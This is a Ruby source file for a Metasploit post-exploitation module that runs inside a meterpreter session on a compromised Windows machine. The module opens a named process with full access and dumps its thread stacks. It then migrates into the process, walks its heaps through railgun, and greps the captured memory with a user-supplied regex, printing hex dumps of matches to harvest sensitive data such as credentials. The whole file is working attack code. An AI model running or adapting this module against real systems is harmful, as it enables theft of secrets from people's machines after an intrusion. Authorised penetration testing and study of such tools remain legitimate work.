##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Post

	def initialize(info={})
		super( update_info(info,
			'Name'           => 'Windows Gather Process Memory Grep',
			'Description'    => %q{
					This module allows for searching the memory space of a proccess for potentially sensitive
				data.
			},
			'License'        => MSF_LICENSE,
			'Author'         => ['bannedit'],
			'Version'        => '$Revision$',
			'Platform'       => ['win'],
			'SessionTypes'   => ['meterpreter' ]
		))
		register_options([
			OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]),
			OptString.new('REGEX', [true, 'Regular expression to search for with in memory', nil]),
		], self.class)
	end

	def run
		if session.type != "meterpreter"
			print_error "Only meterpreter sessions are supported by this post module"
			return
		end

		print_status("Running module against #{sysinfo['Computer']}")
		target_pid = nil
		stack = []
		name = datastore['PROCESS']
		regex = Regexp.new(datastore['REGEX'])
		target_pid = client.sys.process[name]

		print_status("Found #{datastore['PROCESS']} running as pid: #{target_pid}")

		if not target_pid
			print_error("Could not access the target process")
			return
		end

		process = session.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
		begin
			print_status("Walking process threads...")
			threads = process.thread.each_thread do |tid|
				thread = process.thread.open(tid)
				esp = thread.query_regs['esp']
				addr = process.memory.query(esp)
				vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']])
				data = process.memory.read(addr['BaseAddress'], addr['RegionSize'])
				stack << {
							'Address' => addr['BaseAddress'],
							'Size' => addr['RegionSize'],
							'Handle' => thread.handle,
							'Data' => data
						}
					end
		rescue
		end

		# we need to be inside the process to walk the heap using railgun
		current = session.sys.process.getpid
		if target_pid != current
			print_status("Migrating into #{target_pid} to allow for dumping heap data")
			session.core.migrate(target_pid)
		end

		heap = []
		railgun = session.railgun
		heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return']
		dheap = railgun.kernel32.GetProcessHeap()['return']
		vprint_status("Default Process Heap: 0x%08x" % dheap)
		ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4)
		pheaps = ret['ProcessHeaps']

		idx = 0
		handles = []
		while idx != pheaps.length
			vprint_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0])
			handles << pheaps[idx, 4].unpack('V')[0]
			idx += 4
		end

		print_status("Walking the heap... this could take some time")
		begin
			heap = []
			handles.each do |handle|
				lpentry = "\x00" * 42
				while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return']
					#print ret.inspect
					entry = ret['lpEntry'][0, 4].unpack('V')[0]
					size = ret['lpEntry'][4, 4].unpack('V')[0]
					data = process.memory.read(entry, size)

					vprint_status("Walking Entry: 0x%08x\t Size: %d" % [entry, size])
					heap << {'Address' => entry, 'Size' => size, 'Handle' => handle, 'Data' => data}
					lpentry = ret['lpEntry']
				end
			end
		rescue
		end

		matches = []
		stack.each do |mem|
			idx = mem['Data'].index(regex)

			if idx != nil
				print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx))
			end
		end

		heap.each do |mem|
			idx = mem['Data'].index(regex)

			if idx != nil
				print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx))
			end
		end
	end

	def hex_dump(str, base = 0, width = 16)
		buf = ''
		idx = 0
		cnt = 0
		snl = false
		lst = 0

		while (idx < str.length)

			chunk = str[idx, width]
			addr = "0x%08x:\t" % (base + idx)
			line  = chunk.unpack("H*")[0].scan(/../).join(" ")
			buf << addr + line # add the index to the beginning of the line (base + idx)

			if (lst == 0)
				lst = line.length
				buf << " " * 4
			else
				buf << " " * ((lst - line.length) + 4).abs
			end

			chunk.unpack("C*").each do |c|
				if (c >	0x1f and c < 0x7f)
					buf << c.chr
				else
					buf << "."
				end
			end

			buf << "\n"
			idx += width
		end
		buf << "\n"
	end
end
